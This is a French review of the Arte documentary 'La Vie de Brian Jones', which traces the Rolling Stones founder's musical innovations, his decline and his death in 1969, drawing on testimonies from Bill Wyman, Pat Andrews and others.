© Illustration : Philippe Lorin

Brian Jones est celui qui a fait des Rolling Stones « le plus grand groupe de rock du monde » avant de s’effacer progressivement puis de disparaître à l’été 1969 : La Vie de Brian Jones dresse un portrait intime et tragique d’un esprit torturé, véritable génie créatif.

Mick Jagger et Keith Richards n’ont pas toujours été les figures de proue des Rolling Stones. L’âme du groupe fut d’abord un gamin de la classe moyenne londonienne passionné de blues et guitariste virtuose. C’est son histoire que raconte le réalisateur Patrick Boudet dans La Vie de Brian Jones, un portrait au plus près de l’artiste mais aussi de l’homme, qui revient sur l’éclosion puis la descente aux enfers de celui qui inaugura le tristement célèbre « club des 27 » des musiciens disparus à 27 ans. Le film donne essentiellement la parole à des proches, témoins privilégiés de la carrière des Stones : Bill Wyman, le bassiste des débuts, Pat Andrews, première femme du guitariste, le photographe Gered Mankowitz, dont les clichés émaillent le documentaire, le réalisateur Michael Lindsay-Hogg ou encore Stash, figure du Swinging London et ami de Jones. A leurs côtés, nous essayons de comprendre comment l’ascension stratosphérique de la formation s’est accompagnée de la chute de son musicien le plus talentueux mais aussi le plus instable.

C’est aussi la naissance du son rythm’n’blues originel des Stones que raconte La Vie de Brian Jones. Précurseur de la slide-guitar qui deviendra la signature du groupe, Brian Jones est un visionnaire, convaincu dès le début des années 60 de forger la musique de demain. C’est lui qui engage Ian Stewart, Mick Jagger et Keith Richards venus le voir jouer à Londres, prend en main la musique, mais aussi les contrats et l’image du groupe. Mais rapidement, le manager Andrew Oldham et le duo créatif en plein boom que forment Mick Jagger et Keith Richards prennent une place prépondérante. Jones est incapable d’écrire des chansons mais reste indispensable pour ses trouvailles sonores : le sitar de Paint it, black, le dulcimer de Lady Jane, le marimba sur Out of time ou le thérémine sur Please Go home, c’est lui ; des instruments novateurs dans la musique pop européenne de l’époque.

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Nous suivons en parallèle les premiers succès des Stones ainsi que la relation passionnée entre Jones et le mannequin Anita Pallenberg, qui enflamme les médias et le milieu artistique londonien. Une starification que Brian Jones a tout fait pour développer, y compris en alimentant les polémiques et les scandales. Pourtant, cette notoriété sulfureuse semble grandir en même temps que son propre malaise. De plus en plus effacé, isolé, réfugié dans l’alcool et les drogues, Brian Jones apparaît comme l’une des premières âmes damnées du rock’n’roll. Son instabilité lui vaudra d’être écarté du groupe en juin 1969 ; il meurt moins d’un mois plus tard. En évoquant l’ambition et la créativité grandissante de ses compagnons, la liaison entre Anita Pallenberg et Keith Richards, les moments de plus en plus fréquents où il est mis à l’écart, le documentaire laisse planer le doute, entretenu par Lewis Jones, le père : est-ce la folie furieuse du rock’n’roll, une déception amoureuse, un star-system sans pitié ou tout simplement ses tendances dépressives et auto-destructrices qui ont coûté la vie à Brian Jones ?

Intimiste, La Vie de Brian Jones privilégie les témoignages et les images de la vie du groupe à celles des concerts. La présence de nombreuses et très belles photos illustre l’état d’esprit changeant de Jones dans un film émouvant, éclairant sur l’apport essentiel de ce dernier à l’identité et au succès des Rolling Stones. En cela, il constitue un bel hommage à ce « papillon » aussi éblouissant qu’il était fragile.

Disponible gratuitement sur www.arte.tv  jusqu’au 21 février